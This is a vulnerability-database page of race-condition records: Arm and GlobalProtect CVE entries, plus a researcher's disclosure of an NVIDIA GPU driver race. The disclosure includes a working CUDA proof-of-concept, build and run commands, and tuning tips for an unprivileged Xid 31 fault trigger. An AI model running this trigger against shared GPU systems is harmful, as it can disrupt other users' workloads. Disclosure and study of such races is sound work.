Common Weakness Enumeration
CWE-362
Allowed-with-ReviewConcurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Abstraction: Class · Status: Draft
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
3206 vulnerabilities reference this CWE, most recent first.
CVE-2026-0995 (GCVE-0-2026-0995)
Vulnerability from cvelistv5 – Published: 2026-03-02 14:52 – Updated: 2026-03-02 16:16
VLAI
EPSS
VEX
Summary
An issue has been identified in Arm C1-Pro before r1p2-50eac0, where, under certain conditions, a TLBI+DSB might fail to ensure the completion of memory accesses related to SME.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-02 16:14 UTC
CWE
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
1 reference
Date Public
2026-03-02 14:41
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 3.6,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-0995",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-02T16:14:24.107940Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-02T16:16:02.649Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "C1 Pro",
"vendor": "Arm",
"versions": [
{
"lessThan": "r1p2-50eac0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"datePublic": "2026-03-02T14:41:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn issue has been identified in Arm C1-Pro before r1p2-50eac0, where, under certain conditions, a TLBI+DSB might fail to ensure the completion of memory accesses related to SME.\u003c/p\u003e"
}
],
"value": "An issue has been identified in Arm C1-Pro before r1p2-50eac0, where, under certain conditions, a TLBI+DSB might fail to ensure the completion of memory accesses related to SME."
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-362",
"description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-02T14:52:55.859Z",
"orgId": "56a131ea-b967-4a0d-a41e-5f3549952846",
"shortName": "Arm"
},
"references": [
{
"url": "https://developer.arm.com/documentation/111823"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "56a131ea-b967-4a0d-a41e-5f3549952846",
"assignerShortName": "Arm",
"cveId": "CVE-2026-0995",
"datePublished": "2026-03-02T14:52:55.859Z",
"dateReserved": "2026-01-15T15:26:49.754Z",
"dateUpdated": "2026-03-02T16:16:02.649Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-0295 (GCVE-0-2026-0295)
Vulnerability from cvelistv5 – Published: 2026-08-13 01:57 – Updated: 2026-08-13 13:20
VLAI
EPSS
VEX
Title
GlobalProtect App: Local Privilege Escalation via Race Condition on macOS
Summary
A race condition in the Palo Alto Networks GlobalProtect™ client on macOS enables a locally authenticated low-privileged attacker to escalate their privileges to root.
The GlobalProtect app on Linux, Windows, iOS, Android, and Chrome OS is not affected.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-13 03:55 UTC
CWE
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://security.paloaltonetworks.com/CVE-2026-0295 | vendor-advisory |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Palo Alto Networks | GlobalProtect App |
Affected:
6.3.0 , < 6.3.3-h14 (6.3.3-1121)
(custom)
Affected: 6.2.0 , < 6.2.8-h13 (6.2.8-1045) (custom) Affected: 6.0.0 , < 6.0.15 (custom) cpe:2.3:a:palo_alto_networks:globalprotect_app:6.3.3:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.3.2:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.3.1:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.3.0:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.8:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.7:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.6:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.4:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.3:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.2:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.1:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.0:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.14:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.13:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.12:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.11:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.10:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.8:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.7:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.6:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.5:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.4:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.3:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.2:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.1:*:*:*:*:macOS:*:* cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.0:*:*:*:*:macOS:*:* |
|
| Palo Alto Networks | GlobalProtect App |
Unaffected:
All
(custom)
|
Date Public
2026-08-12 16:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-0295",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-13T03:55:55.918274Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T13:20:22.119Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"cpes": [
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.3.3:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.3.2:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.3.1:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.3.0:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.8:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.7:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.6:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.4:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.3:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.2:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.1:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.2.0:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.14:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.13:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.12:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.11:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.10:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.8:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.7:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.6:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.5:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.4:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.3:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.2:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.1:*:*:*:*:macOS:*:*",
"cpe:2.3:a:palo_alto_networks:globalprotect_app:6.0.0:*:*:*:*:macOS:*:*"
],
"defaultStatus": "unaffected",
"platforms": [
"macOS"
],
"product": "GlobalProtect App",
"vendor": "Palo Alto Networks",
"versions": [
{
"changes": [
{
"at": "6.3.3-h14",
"status": "unaffected"
}
],
"lessThan": "6.3.3-h14 (6.3.3-1121)",
"status": "affected",
"version": "6.3.0",
"versionType": "custom"
},
{
"changes": [
{
"at": "6.2.8-h13",
"status": "unaffected"
}
],
"lessThan": "6.2.8-h13 (6.2.8-1045)",
"status": "affected",
"version": "6.2.0",
"versionType": "custom"
},
{
"changes": [
{
"at": "6.0.15",
"status": "unaffected"
}
],
"lessThan": "6.0.15",
"status": "affected",
"version": "6.0.0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Linux",
"Windows",
"iOS",
"Android",
"Chrome OS"
],
"product": "GlobalProtect App",
"vendor": "Palo Alto Networks",
"versions": [
{
"status": "unaffected",
"version": "All",
"versionType": "custom"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "No special configuration is required to be affected by this issue."
}
],
"value": "No special configuration is required to be affected by this issue."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:palo_alto_networks:globalprotect_app:*:*:macos:*:*:*:*:*",
"versionEndExcluding": "6.3.3-h14_6.3.3-1121_",
"versionStartIncluding": "6.3.0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:palo_alto_networks:globalprotect_app:*:*:macos:*:*:*:*:*",
"versionEndExcluding": "6.2.8-h13_6.2.8-1045_",
"versionStartIncluding": "6.2.0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:palo_alto_networks:globalprotect_app:*:*:macos:*:*:*:*:*",
"versionEndExcluding": "6.0.15",
"versionStartIncluding": "6.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:palo_alto_networks:globalprotect_app:all:*:linux:*:*:*:*:*",
"vulnerable": false
},
{
"criteria": "cpe:2.3:a:palo_alto_networks:globalprotect_app:all:*:windows:*:*:*:*:*",
"vulnerable": false
},
{
"criteria": "cpe:2.3:a:palo_alto_networks:globalprotect_app:all:*:ios:*:*:*:*:*",
"vulnerable": false
},
{
"criteria": "cpe:2.3:a:palo_alto_networks:globalprotect_app:all:*:android:*:*:*:*:*",
"vulnerable": false
},
{
"criteria": "cpe:2.3:a:palo_alto_networks:globalprotect_app:all:*:chrome_os:*:*:*:*:*",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "OR"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Alex Bourla and Graham Brereton"
}
],
"datePublic": "2026-08-12T16:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "A race condition in the Palo Alto Networks GlobalProtect\u2122 client on macOS enables a locally authenticated low-privileged attacker to escalate their privileges to root.\u003cbr\u003e\u003cbr\u003eThe GlobalProtect app on Linux, Windows, iOS, Android, and Chrome OS is not affected."
}
],
"value": "A race condition in the Palo Alto Networks GlobalProtect\u2122 client on macOS enables a locally authenticated low-privileged attacker to escalate their privileges to root.\n\nThe GlobalProtect app on Linux, Windows, iOS, Android, and Chrome OS is not affected."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Palo Alto Networks is not aware of any malicious exploitation of this issue."
}
],
"value": "Palo Alto Networks is not aware of any malicious exploitation of this issue."
}
],
"impacts": [
{
"capecId": "CAPEC-29",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-29 Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 4.1,
"baseSeverity": "MEDIUM",
"exploitMaturity": "UNREPORTED",
"privilegesRequired": "LOW",
"providerUrgency": "AMBER",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "DIFFUSE",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/AU:N/R:U/V:D/RE:M/U:Amber",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-362",
"description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T01:57:22.394Z",
"orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"shortName": "palo_alto"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://security.paloaltonetworks.com/CVE-2026-0295"
}
],
"solutions": [
{
"lang": "eng",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003ctable class=\"tbl\"\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003cbr\u003e\u003c/th\u003e\u003cth\u003eMinor Version\u003cbr\u003e\u003c/th\u003e\u003cth\u003eSuggested Solution\u003cbr\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\n \u003ctd\u003eGlobalProtect App 6.3 on macOS\u003cbr\u003e\u003c/td\u003e\n \u003ctd\u003e6.3.0 through 6.3.3-h13\u003c/td\u003e\n \u003ctd\u003eUpgrade to 6.3.3-h14 (6.3.3-1121) or later.\u003c/td\u003e\n \u003c/tr\u003e\u003ctr\u003e\n \u003ctd\u003eGlobalProtect App 6.2 on macOS\u003cbr\u003e\u003c/td\u003e\n \u003ctd\u003e6.2.0 through 6.2.8-h12\u003c/td\u003e\n \u003ctd\u003eUpgrade to 6.2.8-h13 (6.2.8-1045) or later.\u003c/td\u003e\n \u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;GlobalProtect App 6.0 on macOS\u003c/td\u003e\u003ctd\u003e6.0.0 through 6.0.14\u003c/td\u003e\u003ctd\u003eUpgrade to 6.0.15 or later.\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eGlobalProtect App on Linux\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eGlobalProtect App on Windows\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eGlobalProtect App on iOS\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eGlobalProtect App on Android\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eGlobalProtect App on Chrome OS\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e"
}
],
"value": "VERSION MINOR VERSION SUGGESTED SOLUTION\nGlobalProtect App 6.3 on macOS 6.3.0 through 6.3.3-h13 Upgrade to 6.3.3-h14 (6.3.3-1121) or later.\nGlobalProtect App 6.2 on macOS 6.2.0 through 6.2.8-h12 Upgrade to 6.2.8-h13 (6.2.8-1045) or later.\n GlobalProtect App 6.0 on macOS 6.0.0 through 6.0.14 Upgrade to 6.0.15 or later.\nGlobalProtect App on Linux No action needed.\nGlobalProtect App on Windows No action needed.\nGlobalProtect App on iOS No action needed.\nGlobalProtect App on Android No action needed.\nGlobalProtect App on Chrome OS No action needed."
}
],
"source": {
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2026-08-12T16:00:00.000Z",
"value": "Initial Publication"
}
],
"title": "GlobalProtect App: Local Privilege Escalation via Race Condition on macOS",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "No known workarounds or mitigations exist for this issue.\u0026nbsp;"
}
],
"value": "No known workarounds or mitigations exist for this issue."
}
],
"x_affectedList": [
"GlobalProtect App 6.3.3",
"GlobalProtect App 6.3.2",
"GlobalProtect App 6.3.1",
"GlobalProtect App 6.3.0",
"GlobalProtect App 6.3",
"GlobalProtect App 6.2.8",
"GlobalProtect App 6.2.7",
"GlobalProtect App 6.2.6",
"GlobalProtect App 6.2.4",
"GlobalProtect App 6.2.3",
"GlobalProtect App 6.2.2",
"GlobalProtect App 6.2.1",
"GlobalProtect App 6.2.0",
"GlobalProtect App 6.2",
"GlobalProtect App 6.0.14",
"GlobalProtect App 6.0.13",
"GlobalProtect App 6.0.12",
"GlobalProtect App 6.0.11",
"GlobalProtect App 6.0.10",
"GlobalProtect App 6.0.8",
"GlobalProtect App 6.0.7",
"GlobalProtect App 6.0.6",
"GlobalProtect App 6.0.5",
"GlobalProtect App 6.0.4",
"GlobalProtect App 6.0.3",
"GlobalProtect App 6.0.2",
"GlobalProtect App 6.0.1",
"GlobalProtect App 6.0.0",
"GlobalProtect App 6.0"
],
"x_cpeGeneratedAt": "2026-08-12T02:10:58.042Z",
"x_generator": {
"engine": "Vulnogram 0.1.0-dev"
}
}
},
"cveMetadata": {
"assignerOrgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"assignerShortName": "palo_alto",
"cveId": "CVE-2026-0295",
"datePublished": "2026-08-13T01:57:22.394Z",
"dateReserved": "2025-11-03T20:44:53.142Z",
"dateUpdated": "2026-08-13T13:20:22.119Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0083
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:52
VLAI
EPSS
VEX
Title
NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)
Summary
NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault
during an NVLink peer transfer
==================================================================================================
An unprivileged local user with no GPU group, no admin group and no
capabilities, using only the driver's default 0666 /dev/nvidia*
permissions and public CUDA Runtime APIs, deterministically causes a
PID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer
transfer. The captured Xid names one PCI device, 0000:01:00 - it is
not evidence that both GPUs of the pair entered a faulted state, and
no such claim is made here. The trigger is a race: call
cudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still
in flight on the peer path. Reproduced 5/5 with PID attribution to the
triggering process, against 4/4 clean negative controls. NVIDIA
reviewed the report and determined this is intended behavior and not a
bug.
Affected: NVIDIA Linux GPU driver, CUDA peer-access path on
NVLink-connected GPUs
Tested: 595.71.05-open
Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform: Ubuntu 24.04, kernel 6.8.0, CUDA 13.2
CWE: CWE-362 (race condition) for the mechanism; CWE-276
(incorrect default permissions) as the access precondition
Status: Closed by NVIDIA as Not Applicable, 2026-08-04, on the
grounds that it is intended behavior. No fix.
CVE: none assigned
Ref: Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071
Companion: "NVIDIA Linux GPU driver: cross-UID GPU process telemetry
via NVML" - same node, same driver, same 0666 precondition
Read the "Unmeasured Question" section before drawing conclusions
about severity. The single measurement that separates a self-contained
fault from a cross-tenant denial of service is one I did not capture,
and I am not claiming it.
Observed Mechanism
------------------
cudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can
address GPU b's memory over NVLink. cudaMemcpyPeerAsync() queues a DMA
on a copy engine that walks that mapping.
cudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces
the outstanding DMA to drain first. The Xid line names FAULT_PDE on
CE4, consistent with the copy engine dereferencing a page directory
entry that has just been unmapped - an inference from the fault type
and engine, not a claim about driver internals.
GPU a (holds peer mapping) GPU b (peer)
+----------------------------------+
+---------------------------+
| cudaSetDevice(a) | |
cudaMalloc(src) |
| cudaDeviceEnablePeerAccess(b) ------ NVLink ---> | peer mapping
installed |
| cudaMemcpyPeerAsync() x4 |===== DMA in flight on CE4
=====> |
| cudaDeviceDisablePeerAccess(b) | |
|
| ^ | |
|
| +-- PDE torn down while CE4 is still walking it
|
+----------------------------------+
+---------------------------+
|
v
CE4 dereferences an unmapped PDE -> FAULT_PDE
ACCESS_TYPE_VIRT_READ
|
v
Xid 31, PID-attributed to the caller
The negative control synchronizes every copy before teardown, so no
DMA is outstanding when the mapping is removed. Approximately 9,000
synchronized cycles per run across four negative controls - roughly
36,000 cycles total - produced zero Xid. That isolates the
in-flight-copy-versus-teardown race as the cause rather than peer
access itself.
Attacker Prerequisites
----------------------
A shell account on the node, and the driver's own default device permissions:
# grep -E 'ModifyDeviceFiles|DeviceFileMode' /proc/driver/nvidia/params
ModifyDeviceFiles: 1
DeviceFileMode: 438 # 0666 octal
The trigger user for all captured runs was uid 1011, in no GPU group,
with an empty effective capability set.
Proof of Concept
----------------
Full PoC code, the instrumented trigger, the canary ladder and raw
evidence for both findings:
<https://github.com/abhinavagarwal07/nvidia-gpu-security-poc>
--a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES,
containers, schedulers and MIG all remap these, so pin them to the
intended physical pair.
/* nvlink_p2p_cycle.cu
* build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu
* pos: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1
--inflight 1 --dur 30
* neg: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1
--inflight 0 --dur 30
* (the captured runs used --dur 30)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <cuda_runtime.h>
/* peer enable/disable and the async copies are EXPECTED to return
errors once the
* pair starts faulting; swallow them so the loop keeps racing. */
#define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0)
#define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \
fprintf(stderr,"%s:%d
%s\n",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0)
static double now_s(void){ struct timespec t;
clock_gettime(CLOCK_MONOTONIC,&t);
return t.tv_sec + t.tv_nsec/1e9; }
int main(int argc,char**argv){
int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0;
for(int i=1;i<argc;i++){
if(!strcmp(argv[i],"--a")&&i+1<argc) a=atoi(argv[++i]);
else if(!strcmp(argv[i],"--p")&&i+1<argc) p=atoi(argv[++i]);
else if(!strcmp(argv[i],"--dur")&&i+1<argc) dur=atof(argv[++i]);
else if(!strcmp(argv[i],"--mb")&&i+1<argc) mb=atoi(argv[++i]);
else if(!strcmp(argv[i],"--streams")&&i+1<argc)
nstream=atoi(argv[++i]);
else if(!strcmp(argv[i],"--inflight")&&i+1<argc)
inflight=atoi(argv[++i]);
}
size_t bytes=(size_t)mb*1024*1024;
printf("pid=%d\n",(int)getpid()); /* PID attribution is the
central claim */
int can=0; CHECK(cudaDeviceCanAccessPeer(&can,a,p));
if(!can){ fprintf(stderr,"no p2p %d<->%d\n",a,p); return 2; }
/* source buffer lives on the peer; destinations and streams on
the local device */
CHECK(cudaSetDevice(p));
void *src; CHECK(cudaMalloc(&src,bytes));
CHECK(cudaMemset(src,0xCD,bytes));
CHECK(cudaSetDevice(a));
void **dst = (void**)malloc(nstream*sizeof(void*));
cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t));
for(int s=0;s<nstream;s++){ CHECK(cudaMalloc(&dst[s],bytes));
CHECK(cudaStreamCreate(&st[s])); }
double t0=now_s(); unsigned long long cyc=0;
while(now_s()-t0 < dur){
SOFT(cudaDeviceEnablePeerAccess(p,0));
/* install peer mapping */
for(int s=0;s<nstream;s++)
SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s]));
/* 4 x 64MiB async on CE */
if(!inflight)
for(int s=0;s<nstream;s++) cudaStreamSynchronize(st[s]);
/* negative control only */
SOFT(cudaDeviceDisablePeerAccess(p));
/* tear down mid-DMA */
cyc++;
}
printf("done: %llu cycles in %.1fs\n", cyc, now_s()-t0);
return 0;
}
Four 64 MiB copies across four streams keeps enough DMA outstanding
that the teardown lands inside the transfer window on essentially
every cycle.
Before running, confirm the two ordinals really are NVLink-connected -
cudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not
tested here:
nvidia-smi topo -m # expect NV<n> between the chosen
GPUs, not PHB/SYS
nvidia-smi -L
Watch the kernel log. This needs root, or kernel.dmesg_restrict=0:
dmesg -w | grep -i xid
If no Xid appears within about 30 seconds, raise --mb and --streams
until the teardown reliably lands inside the transfer window.
-arch=sm_80 is A100; use sm_90 on H100/GH200, untested here.
DO NOT RESET YET. Resetting here destroys the only evidence that
matters - it is exactly the mistake my own harness made, and it is why
the central question in this post is unanswered. The required order
is:
trigger -> kill -9 the trigger -> canary as a DIFFERENT
unprivileged UID, before any reset
-> reset ONLY if that canary fails
Read state without clearing it:
nvidia-smi -q | grep -i "GPU Recovery Action"
Only after the pre-reset canary has been run and recorded:
nvidia-smi --gpu-reset -i <a>,<b> # requires no processes
attached to those GPUs
Positive run (--inflight 1), captured verbatim:
[Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31,
pid=6507, name=nvlink_p2p_cycl,
channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4
HUBCLIENT_HSCE0 faulted @
0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ
Negative control (--inflight 0), approximately 9,000 synchronized cycles:
NONE
Machine-scored verdict for the same positive run:
{ "poc": "F5b-Xid31-unprivileged-P2P-disable-race", "kind": "positive",
"trigger_user": "victimuser", "physical_gpu_pair": ["0","1"],
"inflight": 1,
"xid_seen_during_run": 1, "trigger_launch_pids": ["6507"],
"xid_line_pids": ["6507"],
"verdict": "PASS",
"criteria": { "fresh_xid31": true, "pid_match": true,
"xid154_or_175": false,
"unprivileged_user": true, "survived_first_sigkill": false,
"held_gpu_memory": true, "ecc_clean_post": true } }
pos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds.
Results
-------
Run Kind Pair inflight Fresh Xid 31 PID-matched Xid
154/175 Held GPU mem ECC clean
------- --------- ----- --------- ------------- ------------
------------ ---------------- ---------
pos-01 positive 0,1 1 yes yes no
672+480 MiB yes
